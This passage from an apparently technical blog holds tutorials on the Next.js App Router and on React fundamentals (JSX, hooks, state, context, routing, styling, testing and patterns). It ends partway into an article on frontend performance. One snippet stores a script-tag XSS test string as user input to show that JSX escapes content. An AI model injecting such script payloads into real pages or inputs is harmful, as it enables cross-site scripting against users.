<main>{children}</main>
<footer>Site Footer</footer>
</body>
</html>
);
}

// app/blog/layout.js
export default function BlogLayout({ children }) {
return (
<div className="blog-layout">
<aside>Blog Sidebar</aside>
<div className="content">{children}</div>
</div>
);
}

Route Handlers (API Routes)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// app/api/users/route.js
import { NextResponse } from 'next/server';

export async function GET() {
const users = await fetchUsers();
return NextResponse.json(users);
}

export async function POST(request) {
const data = await request.json();
const newUser = await createUser(data);
return NextResponse.json(newUser, { status: 201 });
}

// app/api/users/[id]/route.js
export async function GET(request, { params }) {
const { id } = params;
const user = await fetchUser(id);

if (!user) {
return NextResponse.json({ error: 'User not found' }, { status: 404 });
}

return NextResponse.json(user);
}

Data Fetching in App Router

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
// app/products/page.js
async function getProducts() {
// This request is fetch from the server during rendering
const res = await fetch('https://api.example.com/products', { cache: 'no-store' });
return res.json();
}

export default async function ProductsPage() {
const products = await getProducts();

return (
<div>
<h1>Products</h1>
<ul>
{products.map(product => (
<li key={product.id}>{product.name}</li>
))}
</ul>
</div>
);
}

// app/products/[id]/page.js
async function getProduct(id) {
const res = await fetch(`https://api.example.com/products/${id}`, {
// Equivalent to getStaticProps with ISR
next: { revalidate: 60 }
});
return res.json();
}

export default async function ProductPage({ params }) {
const product = await getProduct(params.id);

return (
<div>
<h1>{product.name}</h1>
<p>{product.description}</p>
<p>Price: ${product.price}</p>
</div>
);
}

// Generate static paths (equivalent to getStaticPaths)
export async function generateStaticParams() {
const products = await fetch('https://api.example.com/products').then(res => res.json());

return products.map(product => ({
id: product.id.toString(),
}));
}

Loading and Error States

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// app/products/loading.js - Shown while the page is loading
export default function Loading() {
return <div className="loading-spinner">Loading products...</div>;
}

// app/products/error.js - Shown if there's an error in the page
'use client'; // Error components must be Client Components

export default function Error({ error, reset }) {
return (
<div className="error-container">
<h2>Something went wrong loading products</h2>
<p>{error.message}</p>
<button onClick={() => reset()}>Try again</button>
</div>
);
}

// app/products/not-found.js - Shown for nonexistent products
export default function NotFound() {
return (
<div className="not-found">
<h2>Product Not Found</h2>
<p>We couldn't find the product you're looking for</p>
</div>
);
}

Deployment

Next.js applications can be easily deployed to various platforms.

Vercel (Recommended)

1
2
3
4
5
6
7
8
# Install Vercel CLI
npm install -g vercel

# Deploy
vercel

# Production deployment
vercel --prod

Self-Hosting

1
2
3
4
5
# Build the application
npm run build

# Start the production server
npm start

Learning Resources

  • Next.js Documentation
  • Learn Next.js
  • Next.js GitHub Repository
  • Vercel Platform
  • Next.js Discord
  • Next.js Blog

Next.js is a powerful framework for building modern web applications with React. Its features like server-side rendering, static site generation, and API routes make it an excellent choice for production applications. By understanding these core concepts, you’ll be well-equipped to build fast, SEO-friendly, and scalable applications.

  • Web Development
  • React
  • Frontend Framework
  • Next.js
  • SSR
  • SSG

show all >>

React Fundamentals

  2023-06-17
字数统计: 4.9k字   |   阅读时长: 30min

React Fundamentals

React is a popular JavaScript library for building user interfaces, particularly single-page applications. This guide covers the core concepts and features of React that every frontend developer should understand.

What is React?

React is a declarative, efficient, and flexible JavaScript library for building user interfaces. It lets you compose complex UIs from small and isolated pieces of code called “components”.

Key Features of React

  • Component-Based: Build encapsulated components that manage their own state
  • Declarative: Design simple views for each state in your application
  • Virtual DOM: An in-memory representation of the real DOM for efficient updates
  • Unidirectional Data Flow: Data flows down from parent to child components
  • JSX: A syntax extension that allows you to write HTML-like code in JavaScript

Setting Up a React Project

Using Create React App

1
2
3
4
5
6
7
8
# Install Create React App
npx create-react-app my-app

# Navigate to the project
cd my-app

# Start the development server
npm start

Using Vite (Modern Alternative)

1
2
3
4
5
6
7
8
9
10
11
# Create a new project with Vite
npm create vite@latest my-react-app -- --template react

# Navigate to the project
cd my-react-app

# Install dependencies
npm install

# Start the development server
npm run dev

JSX (JavaScript XML)

JSX is a syntax extension for JavaScript that looks similar to HTML but has the full power of JavaScript.

Basic JSX Syntax

1
const element = <h1>Hello, world!</h1>;

Expressions in JSX

1
2
const name = 'John Doe';
const element = <h1>Hello, {name}</h1>;

JSX Attributes

1
2
3
4
5
// HTML attributes are camelCase in JSX
const element = <div className="container" tabIndex="0"></div>;

// Self-closing tags must close
const img = <img src="image.jpg" alt="Description" />;

JSX Represents Objects

JSX transpiles to React.createElement() calls:

1
2
3
4
5
6
7
8
9
// This JSX:
const element = <h1 className="greeting">Hello, world!</h1>;

// Transpiles to this:
const element = React.createElement(
'h1',
{ className: 'greeting' },
'Hello, world!'
);

JSX Prevents Injection Attacks

1
2
3
// Content is escaped by default
const userInput = '<script>alert("XSS attack")</script>';
const element = <div>{userInput}</div>; // This is safe

Components

Components are the building blocks of a React application. They encapsulate UI and logic into reusable pieces.

Functional Components

1
2
3
4
5
6
function Welcome(props) {
return <h1>Hello, {props.name}</h1>;
}

// ES6 Arrow Function
const Welcome = (props) => <h1>Hello, {props.name}</h1>;

Class Components

1
2
3
4
5
6
7
import React, { Component } from 'react';

class Welcome extends Component {
render() {
return <h1>Hello, {this.props.name}</h1>;
}
}

Composing Components

1
2
3
4
5
6
7
8
9
function App() {
return (
<div>
<Welcome name="Alice" />
<Welcome name="Bob" />
<Welcome name="Charlie" />
</div>
);
}

Props (Properties)

Props are read-only data that are passed from parent to child components.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// Passing props
function App() {
return <Welcome name="John" age={25} isActive={true} />;
}

// Receiving props
function Welcome(props) {
return (
<div>
<h1>Hello, {props.name}</h1>
<p>Age: {props.age}</p>
<p>Active: {props.isActive ? 'Yes' : 'No'}</p>
</div>
);
}

// Destructuring props
function Welcome({ name, age, isActive }) {
return (
<div>
<h1>Hello, {name}</h1>
<p>Age: {age}</p>
<p>Active: {isActive ? 'Yes' : 'No'}</p>
</div>
);
}

Default Props

1
2
3
4
5
6
7
8
function Button({ text = 'Click me' }) {
return <button>{text}</button>;
}

// Class components
Button.defaultProps = {
text: 'Click me'
};

PropTypes (Type Checking)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import PropTypes from 'prop-types';

function User({ name, age, emails }) {
return (
<div>
<h1>{name}</h1>
<p>Age: {age}</p>
<ul>
{emails.map((email, index) => (
<li key={index}>{email}</li>
))}
</ul>
</div>
);
}

User.propTypes = {
name: PropTypes.string.isRequired,
age: PropTypes.number,
emails: PropTypes.arrayOf(PropTypes.string)
};

State

State is a JavaScript object that contains data specific to a component that may change over time.

State in Class Components

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import React, { Component } from 'react';

class Counter extends Component {
constructor(props) {
super(props);
this.state = {
count: 0
};
}

increment = () => {
this.setState({ count: this.state.count + 1 });
};

render() {
return (
<div>
<p>Count: {this.state.count}</p>
<button onClick={this.increment}>Increment</button>
</div>
);
}
}

State Updates May Be Asynchronous

1
2
3
4
5
6
7
8
9
// Wrong way to update state based on previous state
this.setState({
count: this.state.count + 1
});

// Correct way using a function
this.setState((prevState) => ({
count: prevState.count + 1
}));

State Updates are Merged

1
2
3
4
5
6
7
8
// Initial state
this.state = {
count: 0,
user: { name: 'John', age: 25 }
};

// This only updates count, user remains unchanged
this.setState({ count: 1 });

Hooks

Hooks are functions that let you “hook into” React state and lifecycle features from function components.

useState

1
2
3
4
5
6
7
8
9
10
11
12
import React, { useState } from 'react';

function Counter() {
const [count, setCount] = useState(0);

return (
<div>
<p>Count: {count}</p>
<button onClick={() => setCount(count + 1)}>Increment</button>
</div>
);
}

useState with Objects

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
function UserForm() {
const [user, setUser] = useState({
name: '',
email: ''
});

const handleNameChange = (e) => {
setUser({
...user, // Spread to preserve other fields
name: e.target.value
});
};

return (
<div>
<input
value={user.name}
onChange={handleNameChange}
placeholder="Name"
/>
{/* Similar for email */}
</div>
);
}

useEffect

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import React, { useState, useEffect } from 'react';

function DataFetcher() {
const [data, setData] = useState(null);
const [loading, setLoading] = useState(true);

useEffect(() => {
async function fetchData() {
try {
const response = await fetch('https://api.example.com/data');
const result = await response.json();
setData(result);
} catch (error) {
console.error('Error fetching data:', error);
} finally {
setLoading(false);
}
}

fetchData();

// Cleanup function (optional)
return () => {
console.log('Component unmounting or dependencies changing');
// Cancel pending requests or cleanup resources
};
}, []); // Empty dependency array means run once on mount

if (loading) return <div>Loading...</div>;
if (!data) return <div>No data found</div>;

return <div>{/* Render data */}</div>;
}

useEffect with Dependencies

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function SearchResults({ query }) {
const [results, setResults] = useState([]);

useEffect(() => {
// This effect runs when component mounts and when query changes
if (query.length < 3) return; // Don't search for short queries

const fetchResults = async () => {
const data = await fetchSearchResults(query);
setResults(data);
};

fetchResults();
}, [query]); // Dependency array with query

return (
<ul>
{results.map(result => (
<li key={result.id}>{result.title}</li>
))}
</ul>
);
}

useContext

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// Create a context
const ThemeContext = React.createContext('light');

// Provider component
function App() {
const [theme, setTheme] = useState('light');

return (
<ThemeContext.Provider value={theme}>
<div className={`App ${theme}`}>
<Header />
<Main />
<button onClick={() => setTheme(theme === 'light' ? 'dark' : 'light')}>
Toggle Theme
</button>
</div>
</ThemeContext.Provider>
);
}

// Consumer component using useContext
function Header() {
const theme = useContext(ThemeContext);
return <header className={`header ${theme}`}>Header</header>;
}

useReducer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import React, { useReducer } from 'react';

// Reducer function
function counterReducer(state, action) {
switch (action.type) {
case 'INCREMENT':
return { count: state.count + 1 };
case 'DECREMENT':
return { count: state.count - 1 };
case 'RESET':
return { count: 0 };
default:
return state;
}
}

function Counter() {
const [state, dispatch] = useReducer(counterReducer, { count: 0 });

return (
<div>
<p>Count: {state.count}</p>
<button onClick={() => dispatch({ type: 'INCREMENT' })}>Increment</button>
<button onClick={() => dispatch({ type: 'DECREMENT' })}>Decrement</button>
<button onClick={() => dispatch({ type: 'RESET' })}>Reset</button>
</div>
);
}

useCallback

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import React, { useState, useCallback } from 'react';

function ParentComponent() {
const [count, setCount] = useState(0);

// Function reference stays the same between renders
const handleClick = useCallback(() => {
console.log('Button clicked');
}, []); // Empty dependency array = never recreate function

// Recreate function when count changes
const handleCountDependent = useCallback(() => {
console.log(`Current count: ${count}`);
}, [count]);

return (
<div>
<p>Count: {count}</p>
<button onClick={() => setCount(count + 1)}>Increment</button>
<ChildComponent onClick={handleClick} />
</div>
);
}

const ChildComponent = React.memo(({ onClick }) => {
console.log('ChildComponent rendered');
return <button onClick={onClick}>Click me</button>;
});

useMemo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import React, { useState, useMemo } from 'react';

function ExpensiveCalculation({ numbers }) {
const [count, setCount] = useState(0);

// This calculation only runs when numbers array changes
const sum = useMemo(() => {
console.log('Calculating sum...');
return numbers.reduce((acc, val) => acc + val, 0);
}, [numbers]);

return (
<div>
<p>Sum: {sum}</p>
<p>Count: {count}</p>
<button onClick={() => setCount(count + 1)}>Increment</button>
</div>
);
}

Custom Hooks

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
// Custom hook for form handling
function useForm(initialValues) {
const [values, setValues] = useState(initialValues);

const handleChange = (e) => {
const { name, value } = e.target;
setValues({
...values,
[name]: value
});
};

const resetForm = () => {
setValues(initialValues);
};

return {
values,
handleChange,
resetForm
};
}

// Using the custom hook
function SignupForm() {
const { values, handleChange, resetForm } = useForm({
username: '',
email: '',
password: ''
});

const handleSubmit = (e) => {
e.preventDefault();
console.log('Form submitted:', values);
resetForm();
};

return (
<form onSubmit={handleSubmit}>
<input
name="username"
value={values.username}
onChange={handleChange}
placeholder="Username"
/>
<input
name="email"
value={values.email}
onChange={handleChange}
placeholder="Email"
/>
<input
type="password"
name="password"
value={values.password}
onChange={handleChange}
placeholder="Password"
/>
<button type="submit">Sign Up</button>
</form>
);
}

Lifecycle Methods

Class components have lifecycle methods for performing actions at specific times.

Mounting

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
class LifecycleDemo extends Component {
constructor(props) {
super(props);
this.state = { data: null };
console.log('1. Constructor');
}

static getDerivedStateFromProps(props, state) {
console.log('2. getDerivedStateFromProps');
return null; // No state update needed
}

componentDidMount() {
console.log('4. componentDidMount');
// Good place for network requests
fetch('https://api.example.com/data')
.then(response => response.json())
.then(data => this.setState({ data }));
}

render() {
console.log('3. Render');
return <div>Lifecycle Demo</div>;
}
}

Updating

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
class UpdatingDemo extends Component {
shouldComponentUpdate(nextProps, nextState) {
console.log('1. shouldComponentUpdate');
// Return false to prevent rendering
return true;
}

getSnapshotBeforeUpdate(prevProps, prevState) {
console.log('3. getSnapshotBeforeUpdate');
// Return value passed to componentDidUpdate
return { scrollPosition: window.scrollY };
}

componentDidUpdate(prevProps, prevState, snapshot) {
console.log('4. componentDidUpdate', snapshot);
// Run after component updates
if (prevProps.userId !== this.props.userId) {
this.fetchUserData(this.props.userId);
}
}

render() {
console.log('2. Render');
return <div>Updating Demo</div>;
}
}

Unmounting

1
2
3
4
5
6
7
8
9
10
11
class UnmountingDemo extends Component {
componentWillUnmount() {
console.log('componentWillUnmount');
// Cleanup resources, cancel network requests, etc.
this.subscription.unsubscribe();
}

render() {
return <div>Unmounting Demo</div>;
}
}

Error Handling

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
class ErrorBoundary extends Component {
constructor(props) {
super(props);
this.state = { hasError: false };
}

static getDerivedStateFromError(error) {
// Update state to render fallback UI
return { hasError: true };
}

componentDidCatch(error, errorInfo) {
// Log error to error reporting service
console.error('Error caught by boundary:', error, errorInfo);
logErrorToService(error, errorInfo);
}

render() {
if (this.state.hasError) {
return <h1>Something went wrong.</h1>;
}

return this.props.children;
}
}

// Usage
function App() {
return (
<ErrorBoundary>
<MyComponent />
</ErrorBoundary>
);
}

Handling Events

1
2
3
4
5
6
7
8
function Button() {
const handleClick = (e) => {
e.preventDefault(); // Prevent default behavior
console.log('Button clicked');
};

return <button onClick={handleClick}>Click me</button>;
}

Passing Arguments to Event Handlers

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
function ItemList({ items }) {
const handleDelete = (id, e) => {
console.log(`Delete item ${id}`);
};

return (
<ul>
{items.map(item => (
<li key={item.id}>
{item.name}
{/* Method 1: Using arrow function */}
<button onClick={(e) => handleDelete(item.id, e)}>Delete</button>

{/* Method 2: Using bind */}
<button onClick={handleDelete.bind(null, item.id)}>Delete</button>
</li>
))}
</ul>
);
}

Conditional Rendering

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
function ConditionalDemo({ isLoggedIn }) {
// Method 1: If statement
if (isLoggedIn) {
return <h1>Welcome back!</h1>;
}
return <h1>Please sign in</h1>;

// Method 2: Ternary operator
return (
<div>
{isLoggedIn
? <h1>Welcome back!</h1>
: <h1>Please sign in</h1>
}
</div>
);

// Method 3: Logical && operator
return (
<div>
{isLoggedIn && <h1>Welcome back!</h1>}
{!isLoggedIn && <h1>Please sign in</h1>}
</div>
);
}

Lists and Keys

1
2
3
4
5
6
7
8
9
10
11
12
function TodoList({ todos }) {
return (
<ul>
{todos.map((todo) => (
// Always use a unique key for list items
<li key={todo.id}>
{todo.text}
</li>
))}
</ul>
);
}

Key Best Practices

1
2
3
4
5
6
7
8
9
10
11
12
13
// Bad: Using index as key can lead to issues with item reordering
<ul>
{items.map((item, index) => (
<li key={index}>{item.text}</li>
))}
</ul>

// Good: Using unique IDs from your data
<ul>
{items.map(item => (
<li key={item.id}>{item.text}</li>
))}
</ul>

Forms

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
function ControlledForm() {
const [formData, setFormData] = useState({
username: '',
email: '',
agreement: false
});

const handleChange = (e) => {
const value = e.target.type === 'checkbox' ? e.target.checked : e.target.value;
setFormData({
...formData,
[e.target.name]: value
});
};

const handleSubmit = (e) => {
e.preventDefault();
console.log('Form submitted:', formData);
};

return (
<form onSubmit={handleSubmit}>
<div>
<label htmlFor="username">Username:</label>
<input
type="text"
id="username"
name="username"
value={formData.username}
onChange={handleChange}
/>
</div>

<div>
<label htmlFor="email">Email:</label>
<input
type="email"
id="email"
name="email"
value={formData.email}
onChange={handleChange}
/>
</div>

<div>
<label>
<input
type="checkbox"
name="agreement"
checked={formData.agreement}
onChange={handleChange}
/>
I agree to the terms
</label>
</div>

<button type="submit">Submit</button>
</form>
);
}

Uncontrolled Components with Refs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
function UncontrolledForm() {
const usernameRef = useRef(null);
const emailRef = useRef(null);

const handleSubmit = (e) => {
e.preventDefault();
const data = {
username: usernameRef.current.value,
email: emailRef.current.value
};
console.log('Form submitted:', data);
};

return (
<form onSubmit={handleSubmit}>
<div>
<label htmlFor="username">Username:</label>
<input
type="text"
id="username"
name="username"
ref={usernameRef}
defaultValue=""
/>
</div>

<div>
<label htmlFor="email">Email:</label>
<input
type="email"
id="email"
name="email"
ref={emailRef}
defaultValue=""
/>
</div>

<button type="submit">Submit</button>
</form>
);
}

Context API

Context provides a way to pass data through the component tree without having to pass props down manually at every level.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
// 1. Create a context
const ThemeContext = React.createContext({
theme: 'light',
toggleTheme: () => {}
});

// 2. Create a provider component
function ThemeProvider({ children }) {
const [theme, setTheme] = useState('light');

const toggleTheme = () => {
setTheme(prevTheme => prevTheme === 'light' ? 'dark' : 'light');
};

const value = { theme, toggleTheme };

return (
<ThemeContext.Provider value={value}>
{children}
</ThemeContext.Provider>
);
}

// 3. Create a consumer hook
function useTheme() {
const context = useContext(ThemeContext);
if (context === undefined) {
throw new Error('useTheme must be used within a ThemeProvider');
}
return context;
}

// 4. Use the context in components
function ThemedButton() {
const { theme, toggleTheme } = useTheme();

return (
<button
className={`btn btn-${theme}`}
onClick={toggleTheme}
>
Toggle Theme
</button>
);
}

// 5. Wrap your app with the provider
function App() {
return (
<ThemeProvider>
<div className="app">
<ThemedButton />
<ThemedContent />
</div>
</ThemeProvider>
);
}

Error Handling

Error Boundaries (Class Components Only)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
class ErrorBoundary extends React.Component {
constructor(props) {
super(props);
this.state = { hasError: false, error: null, errorInfo: null };
}

static getDerivedStateFromError(error) {
// Update state so the next render will show the fallback UI
return { hasError: true };
}

componentDidCatch(error, errorInfo) {
// Log the error to an error reporting service
console.error("Error caught by error boundary:", error, errorInfo);
this.setState({ error, errorInfo });
}

render() {
if (this.state.hasError) {
// You can render any custom fallback UI
return (
<div className="error-boundary">
<h2>Something went wrong.</h2>
<details style={{ whiteSpace: 'pre-wrap' }}>
{this.state.error && this.state.error.toString()}
<br />
{this.state.errorInfo && this.state.errorInfo.componentStack}
</details>
<button onClick={() => this.setState({ hasError: false })}>
Try again
</button>
</div>
);
}

return this.props.children;
}
}

// Usage
function App() {
return (
<ErrorBoundary>
<MyComponent />
</ErrorBoundary>
);
}

Try/Catch in Function Components

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
function ProfilePage({ userId }) {
const [user, setUser] = useState(null);
const [error, setError] = useState(null);

useEffect(() => {
async function fetchUser() {
try {
const response = await fetch(`/api/users/${userId}`);
if (!response.ok) throw new Error('Failed to fetch user');
const userData = await response.json();
setUser(userData);
} catch (err) {
setError(err.message);
}
}

fetchUser();
}, [userId]);

if (error) {
return <div className="error-message">Error: {error}</div>;
}

if (!user) {
return <div className="loading">Loading...</div>;
}

return (
<div className="profile">
<h2>{user.name}</h2>
<p>{user.bio}</p>
</div>
);
}

Performance Optimization

React.memo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// Prevent unnecessary re-renders
const MemoizedComponent = React.memo(function MyComponent(props) {
// Only re-renders if props change
return <div>{props.name}</div>;
});

// Custom comparison function
const areEqual = (prevProps, nextProps) => {
// Return true if passing nextProps to render would return
// the same result as passing prevProps to render
return prevProps.name === nextProps.name;
};

const MemoizedWithCustomComparison = React.memo(MyComponent, areEqual);

useCallback and useMemo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
function SearchResults({ query, onResultClick }) {
// Memoize expensive calculations
const filteredData = useMemo(() => {
console.log('Filtering data...');
return expensiveFilter(data, query);
}, [data, query]);

// Preserve function references between renders
const handleResultClick = useCallback((item) => {
console.log('Result clicked:', item);
onResultClick(item);
}, [onResultClick]);

return (
<ul>
{filteredData.map(item => (
<SearchResult
key={item.id}
item={item}
onClick={handleResultClick}
/>
))}
</ul>
);
}

// Prevent re-rendering when parent re-renders
const SearchResult = React.memo(({ item, onClick }) => {
console.log('Rendering result:', item.id);
return (
<li onClick={() => onClick(item)}>
{item.title}
</li>
);
});

Lazy Loading with Suspense

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import React, { lazy, Suspense } from 'react';

// Lazy load components
const HeavyComponent = lazy(() => import('./HeavyComponent'));
const AnotherHeavyComponent = lazy(() => import('./AnotherHeavyComponent'));

function App() {
return (
<div>
<h1>My App</h1>
<Suspense fallback={<div>Loading...</div>}>
<HeavyComponent />
<AnotherHeavyComponent />
</Suspense>
</div>
);
}

React Router (Most Common Routing Library)

React Router is a standard library for routing in React applications.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import { BrowserRouter, Routes, Route, Link, useParams, useNavigate } from 'react-router-dom';

function App() {
return (
<BrowserRouter>
<nav>
<Link to="/">Home</Link>
<Link to="/about">About</Link>
<Link to="/users">Users</Link>
</nav>

<Routes>
<Route path="/" element={<Home />} />
<Route path="/about" element={<About />} />
<Route path="/users" element={<Users />} />
<Route path="/users/:userId" element={<UserDetail />} />
<Route path="*" element={<NotFound />} />
</Routes>
</BrowserRouter>
);
}

function UserDetail() {
const { userId } = useParams();
const navigate = useNavigate();

const goBack = () => {
navigate(-1); // Go back one page
};

return (
<div>
<h2>User: {userId}</h2>
<button onClick={goBack}>Back</button>
</div>
);
}

Styling in React

CSS Modules

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// Button.module.css
.button {
background-color: blue;
color: white;
padding: 10px 20px;
}

.primary {
background-color: blue;
}

.secondary {
background-color: gray;
}

// Button.jsx
import styles from './Button.module.css';

function Button({ variant = 'primary', children }) {
return (
<button className={`${styles.button} ${styles[variant]}`}>
{children}
</button>
);
}

Styled Components

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import styled from 'styled-components';

const Button = styled.button`
background-color: ${props => props.primary ? 'blue' : 'gray'};
color: white;
padding: 10px 20px;
border: none;
border-radius: 4px;

&:hover {
opacity: 0.8;
}
`;

function App() {
return (
<div>
<Button primary>Primary Button</Button>
<Button>Secondary Button</Button>
</div>
);
}

CSS-in-JS with Emotion

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
/** @jsxImportSource @emotion/react */
import { css } from '@emotion/react';

const buttonStyles = css`
background-color: blue;
color: white;
padding: 10px 20px;
`;

const primaryStyles = css`
background-color: blue;
`;

const secondaryStyles = css`
background-color: gray;
`;

function Button({ variant = 'primary', children }) {
return (
<button
css={[
buttonStyles,
variant === 'primary' ? primaryStyles : secondaryStyles
]}
>
{children}
</button>
);
}

Inline Styles

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function Button({ primary, children }) {
const buttonStyle = {
backgroundColor: primary ? 'blue' : 'gray',
color: 'white',
padding: '10px 20px',
border: 'none',
borderRadius: '4px'
};

return (
<button style={buttonStyle}>
{children}
</button>
);
}

Testing React Components

Jest and React Testing Library

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// Button.test.js
import { render, screen, fireEvent } from '@testing-library/react';
import Button from './Button';

test('renders button with correct text', () => {
render(<Button>Click me</Button>);
const buttonElement = screen.getByText(/click me/i);
expect(buttonElement).toBeInTheDocument();
});

test('calls onClick handler when clicked', () => {
const handleClick = jest.fn();
render(<Button onClick={handleClick}>Click me</Button>);

const buttonElement = screen.getByText(/click me/i);
fireEvent.click(buttonElement);

expect(handleClick).toHaveBeenCalledTimes(1);
});

Snapshot Testing

1
2
3
4
5
6
7
import { render } from '@testing-library/react';
import Button from './Button';

test('matches snapshot', () => {
const { container } = render(<Button>Click me</Button>);
expect(container).toMatchSnapshot();
});

Common React Patterns

Compound Components

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
function Tabs({ children, defaultIndex = 0 }) {
const [activeIndex, setActiveIndex] = useState(defaultIndex);

const context = {
activeIndex,
setActiveIndex
};

return (
<TabsContext.Provider value={context}>
<div className="tabs">{children}</div>
</TabsContext.Provider>
);
}

function TabList({ children }) {
return <div className="tab-list">{children}</div>;
}

function Tab({ index, children }) {
const { activeIndex, setActiveIndex } = useContext(TabsContext);
const isActive = activeIndex === index;

return (
<button
className={`tab ${isActive ? 'active' : ''}`}
onClick={() => setActiveIndex(index)}
>
{children}
</button>
);
}

function TabPanels({ children }) {
const { activeIndex } = useContext(TabsContext);
return <div className="tab-panels">{children[activeIndex]}</div>;
}

function TabPanel({ children }) {
return <div className="tab-panel">{children}</div>;
}

// Usage
function App() {
return (
<Tabs defaultIndex={0}>
<TabList>
<Tab index={0}>Tab 1</Tab>
<Tab index={1}>Tab 2</Tab>
</TabList>
<TabPanels>
<TabPanel>Content for Tab 1</TabPanel>
<TabPanel>Content for Tab 2</TabPanel>
</TabPanels>
</Tabs>
);
}

Render Props

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
function Mouse({ render }) {
const [position, setPosition] = useState({ x: 0, y: 0 });

const handleMouseMove = (e) => {
setPosition({
x: e.clientX,
y: e.clientY
});
};

return (
<div onMouseMove={handleMouseMove} style={{ height: '100vh' }}>
{render(position)}
</div>
);
}

// Usage
function App() {
return (
<Mouse
render={({ x, y }) => (
<div style={{ position: 'absolute', left: x, top: y }}>
{x}, {y}
</div>
)}
/>
);
}

Higher-Order Components (HOC)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// HOC that adds logging
function withLogging(WrappedComponent) {
return function WithLogging(props) {
useEffect(() => {
console.log(`Component ${WrappedComponent.name} mounted`);
return () => {
console.log(`Component ${WrappedComponent.name} unmounted`);
};
}, []);

return <WrappedComponent {...props} />;
};
}

// Component to enhance
function UserProfile({ user }) {
return (
<div>
<h2>{user.name}</h2>
<p>{user.email}</p>
</div>
);
}

// Enhanced component
const UserProfileWithLogging = withLogging(UserProfile);

// Usage
function App() {
return <UserProfileWithLogging user={{ name: 'John', email: 'john@example.com' }} />;
}

Learning Resources

  • Official React Documentation
  • React Hooks Documentation
  • Create React App Documentation
  • React Developer Tools Browser Extension
  • React Router Documentation
  • React Testing Library Documentation
  • Thinking in React

React is a powerful library for building user interfaces, and mastering its core concepts will enable you to create efficient, maintainable, and performant web applications. This guide covers the fundamentals, but React’s ecosystem is vast and constantly evolving, so continuous learning is key to staying up-to-date with best practices and patterns.

  • Web Development
  • JavaScript
  • React
  • Hooks
  • Components
  • JSX

show all >>

Frontend Performance Optimization

  2023-06-16
字数统计: 2.9k字   |   阅读时长: 18min

Frontend Performance Optimization

Performance is a critical aspect of user experience. This guide covers key techniques and metrics for optimizing frontend applications.

Core Web Vitals

Core Web Vitals are a set of user-centric metrics that measure real-world user experience.

Largest Contentful Paint (LCP)

LCP measures loading performance – how quickly the largest content element becomes visible.

Good LCP Scores

  • Good: ≤ 2.5 seconds
  • Needs Improvement: 2.5 - 4.0 seconds
